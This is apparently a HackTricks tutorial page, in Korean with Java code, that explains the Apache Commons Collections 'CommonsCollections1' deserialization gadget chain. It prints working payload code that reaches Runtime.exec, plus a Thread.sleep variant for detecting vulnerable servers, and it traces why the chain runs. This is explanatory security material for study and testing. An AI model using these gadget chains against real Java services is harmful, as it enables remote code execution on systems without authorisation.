CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
Reading time: 5 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Java Transformers to Rutime exec()
여러 곳에서 다음과 같은 Apache common collections의 transformers를 사용하는 java deserialization payload를 찾을 수 있습니다:
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
Java deserialization payloads에 대해 아무것도 모른다면 이 코드가 calc를 실행하는 이유를 파악하기 어려울 수 있습니다.
우선, Java의 Transformer는 클래스를 수신하고 다른 클래스로 변환하는 것입니다.
또한 여기서 실행되는 payload는 다음과 동등하다는 것을 아는 것이 흥미롭습니다:
Runtime.getRuntime().exec(new String[]{"calc.exe"});
또는 더 정확히 말하자면, 마지막에 실행될 것은:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
방법
그래서 첫 번째 페이로드가 그 "간단한" 한 줄짜리와 어떻게 동등한가요?
첫째로, 페이로드에서 변환의 체인(배열)이 생성된다는 것을 알 수 있습니다:
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),
//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
코드를 읽어보면 배열의 변환을 어떻게든 연결하면 임의의 명령을 실행할 수 있다는 것을 알 수 있습니다.
그래서, 그 변환들은 어떻게 연결되나요?
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");
페이로드의 마지막 섹션에서 Map 객체가 생성됩니다. 그런 다음, LazyMap
에서 맵 객체와 체인된 변환기를 사용하여 decorate
함수가 실행됩니다. 다음 코드를 통해 체인된 변환기가 lazyMap.factory
속성 안에 복사되는 것을 확인할 수 있습니다:
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
그리고 마지막 대미가 실행됩니다: lazyMap.get("anything");
이것은 get
함수의 코드입니다:
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
그리고 이것은 transform
함수의 코드입니다.
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
그래서 factory 안에 **chainedTransformer
**를 저장했으며, transform
함수 안에서 모든 체인된 변환기를 순차적으로 실행하고 있습니다. 재미있는 점은 각 변환기가 object
를 입력으로 사용하고 object가 마지막으로 실행된 변환기의 출력이라는 것입니다. 따라서 모든 변환이 악의적인 페이로드를 체인으로 실행하고 있습니다.
요약
결국, lazyMap이 get 메서드 안에서 체인된 변환기를 관리하는 방식 때문에, 마치 우리가 다음 코드를 실행하는 것과 같습니다:
Object value = "someting";
value = new ConstantTransformer(Runtime.class).transform(value); //(1)
value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)
value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)
value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)
각 변환의 입력이 value
이고 이전 변환의 출력임을 주목하세요. 이는 한 줄 코드를 실행할 수 있게 합니다:
((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});
여기에서 ComonsCollections1 페이로드에 사용된 가젯이 설명되었습니다. 그러나 이 모든 것이 어떻게 실행되는지는 남겨져 있습니다. 여기에서 ysoserial를 보면, 이 페이로드를 실행하기 위해 AnnotationInvocationHandler
객체를 사용합니다. 이 객체가 역직렬화되면, payload.get()
함수를 호출하여 전체 페이로드를 실행합니다.
Java Thread Sleep
이 페이로드는 웹이 취약한지 확인하는 데 유용할 수 있으며, 취약하다면 슬립을 실행합니다.
import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;
public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
//Execute gadgets
lazyMap.get("anything");
}
}
더 많은 가젯
여기에서 더 많은 가젯을 찾을 수 있습니다: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.